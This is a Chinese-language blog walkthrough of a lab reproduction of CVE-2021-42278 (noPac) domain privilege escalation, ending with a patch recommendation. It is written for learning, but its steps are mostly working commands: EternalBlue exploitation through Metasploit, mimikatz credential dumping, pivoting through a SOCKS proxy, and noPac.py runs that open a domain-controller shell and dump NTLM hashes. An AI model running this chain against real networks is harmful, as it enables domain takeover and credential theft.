关注WX:【小白SEC】查看更多内容……
本文仅为验证漏洞,在本地环境测试验证,无其它目的
前提说明
近期继续复现漏洞,本次复现域内提权漏洞,是一个老漏洞,需要一定的条件,写的不好,是自己学习的总结,大佬们看到了不要嘲笑略过就行,感谢。
此漏洞利用需要几个条件:
- 域控信息
- 已知的域内用户账号信息
CVE编号:
CVE-2021-42278
漏洞说明:
关于此域内提权漏洞的说明我就不啰嗦,我也可能说不明白,这里放上一个【Seebug Paper】发的文章,写的不错,有兴趣可以学习一下。https://paper.seebug.org/1904/
环境说明
本次模拟目标PC存在双网卡(外网+内网),外网网卡可直接通过kali攻击机进行访问,同时目标机在test.com域环境内,域内存在域控服务器。
攻击机:
● 系统:kali
● IP:192.168.100.6
目标PC:
● 系统:Windows7
● IP1:192.168.100.59
● IP2:10.0.10.6
域控服务器:
● IP:10.0.10.5
测试:
- 使用nmap扫描目标机网段是否存在漏洞,此处使用nmap进行漏洞探测,经过扫描发现192.168.100.59的主机存在【CVE-2017-0143】即【MS17010永恒之蓝】漏洞,开始准备下一步攻击:
nmap --script=vuln 192.168.100.0/24 -v
-
启用【Metasploit】工具,输入:
search ms17-010
查找ms17010漏洞利用模块:
-
使用
use exploit/windows/smb/ms17_010_eternalblue
选择攻击模块,设置攻击目标为192.168.100.59:set RHOSTS 192.168.100.59
:
-
输入命令:
run
进行攻击,成功获得【Meterpreter】:
-
查看当前权限:
getuid
,此处直接是system权限,如果权限不够的话可以尝试getsystem
进行提权,如下方第二张图:
-
调用msf的kiwi模块:
load kiwi
:
-
使用命令获取主机账号密码等:
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
- 此刻已获取到本次需要的部分信息,还需要获取域控IP:
域主机:WIN-1TE9A61NRLD
域名:test.com
域内用户:ceshi 密码:test!@#123
-
在【Meterpreter】中输入shell,然后查询ip信息,但是此时返回的是乱码:
-
可以输入:
chcp 65001
,再次查看IP:
-
此时已获得我们提权所需要的所有信息,因为域控服务器还在内网,所以需要添加路由再使用代理进行攻击:
-
在【Meterpreter】窗口依次输入以下命令:
run get_local_subnets //查看网段
run autoroute -s 10.0.10.0/24
run autoroute -p //查看已添加的路由
-
输入【background】将【Meterpreter】后台运行:
-
使用:
use auxiliary/server/socks_proxy
,调用socks代理模块,如果不需要专门设置什么密码等,就直接执行run即可:
-
代理开启成功后,需要配置代理工具【proxychains4】,没有的话需要进行下载,kali中应该是自带了【proxychains4】工具,所以直接:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
,在文末添加:socks5 127.0.0.1 1080
-
开始进行CVE-2021-42278漏洞攻击,需要下载一个工具,工具下载地址:https://github.com/cube0x0/noPac:
-
下载到kali后,进入目录
-
输入:
proxychains python3 noPac.py -use-ldap test.com/ceshi:'test!@#123' -dc-ip 10.0.10.5 -shell
可以进入域控主机执行命令:
-
或者输入:
proxychains python3 noPac.py -use-ldap test.com/ceshi:'test!@#123' -dc-ip 10.0.10.5 -dump -just-dc-ntlm
获取hash:
漏洞修复
可以参考Microsoft安全修复建议打上对应补丁即可:CVE-2021-42278、CVE-2021-42287